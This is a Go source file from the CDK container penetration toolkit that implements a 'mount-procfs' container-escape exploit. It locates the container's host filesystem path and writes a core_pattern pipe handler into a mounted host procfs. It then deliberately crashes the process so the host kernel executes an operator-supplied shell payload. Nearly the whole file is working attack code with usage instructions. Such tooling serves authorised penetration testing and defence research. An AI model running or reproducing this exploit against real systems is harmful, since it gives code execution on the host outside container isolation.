//go:build !no_mount_procfs
// +build !no_mount_procfs

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package escaping

import (
	"fmt"
	"io/ioutil"
	"log"
	"os"
	"os/exec"
	"regexp"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/exploit/base"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

func GetDockerAbsPath() string {
	data, err := ioutil.ReadFile("/proc/self/mounts")
	if err != nil {
		log.Println(err)
	}

	// example 1: workdir=/var/lib/docker/overlay2/9383b939bf4ed66b3f01990664d533f97f1cf9c544cb3f3d2830fe97136eb76f/work -> /data/docker/overlay2/f5aa028c48864dd7fefdd00230e6a6954d9292fdcc4e5f80575d186590ff6b5c
	// example 2: workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301/work -> /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301
	// devicemapper fs not overlay2 below
	// example 3: /dev/mapper/docker-253:1-1316448-9ac38e89740bd1f1013d4060dd83f06d8035edfe80fefda72c7e5c6c44b5b10f -> /
	pattern := regexp.MustCompile(`workdir=((/[^/ ]+)+)/work`)
	params := pattern.FindStringSubmatch(string(data))
	if len(params) < 2 {
		log.Println("failed to find docker abs path in /proc/self/mounts")
	} else {
		return params[1] + "/merged"
	}

	pattern = regexp.MustCompile(`/dev/mapper/[^/ ]+-([0-9a-fA-F]+) `)
	params = pattern.FindStringSubmatch(string(data))
	if len(params) < 2 {
		log.Fatal("failed to find docker devicemapper abs path in /proc/self/mounts")
	}
	return "/var/lib/docker/devicemapper/mnt/" + params[1]
}

/*
// or use c codes instead to trigger crash

#include <stdio.h>
int main(void)

	{
	    int *a = NULL;
	    *a = 1;
	    return 0;
	}
*/
func triggerSegmentFault() {
	//defer func() {
	//	if r := recover(); r != nil {
	//		fmt.Println("recover from panic:", r)
	//	}
	//}()

	// trigger core dump in crash
	var pInt *int
	*pInt = 1
}

func checkEnvFirst() {
	// golang segment fault will not trigger core dump by default.
	// need to set `export GOTRACEBACK=crash` first
	if os.Getenv("GOTRACEBACK") != "crash" {

		err := os.Setenv("GOTRACEBACK", "crash")
		if err != nil {
			log.Fatal("set GOTRACEBACK env failed:", err)
		}

		log.Println("env GOTRACEBACK not found, trying to set GOTRACEBACK=crash then reload exploit.")

		// reload this exploit with origin args
		cmd := exec.Command(os.Args[0], os.Args[1:]...)
		out, err1 := cmd.Output()
		if err1 != nil {
			log.Printf("Execute Shell:%s failed with error:%s", cmd, err1.Error())
			log.Fatal("if you see \"(core dumped)\" in former err output, means exploit success.")
		}
		fmt.Println(string(out))
		os.Exit(0) // end main process, prevent to run exp twice
	}
}

func ProcfsExploit(procDir string, shellPayload string) {
	// make sure env GOTRACEBACK=crash was set
	checkEnvFirst()

	dockerPath := GetDockerAbsPath()
	log.Printf("/proc mounted dir:\n%s\n", procDir)
	log.Printf("shell payload:\n%s\n", shellPayload)
	log.Printf("current docker abs path:\n%s\n", dockerPath)

	randKey := util.RandString(5)
	corePatternPayload := fmt.Sprintf("|%s/cmd_%s", dockerPath, randKey)
	corePatternFile := procDir + "/sys/kernel/core_pattern"
	expScript := "/cmd_" + randKey
	expPayload := "#!/bin/sh\n" + shellPayload

	util.RewriteFile(corePatternFile, corePatternPayload, 0644)
	util.RewriteFile(expScript, expPayload, 0777)

	log.Println("trigger segment fault to finish exploit, pls check if payload executed success after this program quit.")
	triggerSegmentFault()
}

// plugin interface
type mountProcfsExpS struct{ base.BaseExploit }

func (p mountProcfsExpS) Desc() string {
	return "escape container via mounted procfs. usage: cdk run mount-procfs <dir> \"<shell-payload>\""
}
func (p mountProcfsExpS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if args == nil || len(args) != 2 {
		log.Println("Invalid input args.")
		helpMsg()
	}
	s, err := os.Stat(args[0])
	if err != nil || s == nil {
		log.Println("invalid /proc dir path:", args[0])
		helpMsg()
	}
	if !s.IsDir() {
		log.Println("invalid /proc dir path:", args[0])
		helpMsg()
	}

	procDir := args[0]
	shellPayload := args[1]

	ProcfsExploit(procDir, shellPayload)

	return true
}

func helpMsg() {
	log.Println("usage: cdk run mount-procfs <dir> \"<shell-payload>\"")
	log.Fatal("example: cdk run mount-procfs /mnt/host_proc \"touch /tmp/exploit_success\" (the shell payload will run by docker host).")
}

func init() {
	exploit := mountProcfsExpS{}
	exploit.ExploitType = "escaping"
	plugin.RegisterExploit("mount-procfs", exploit)
}
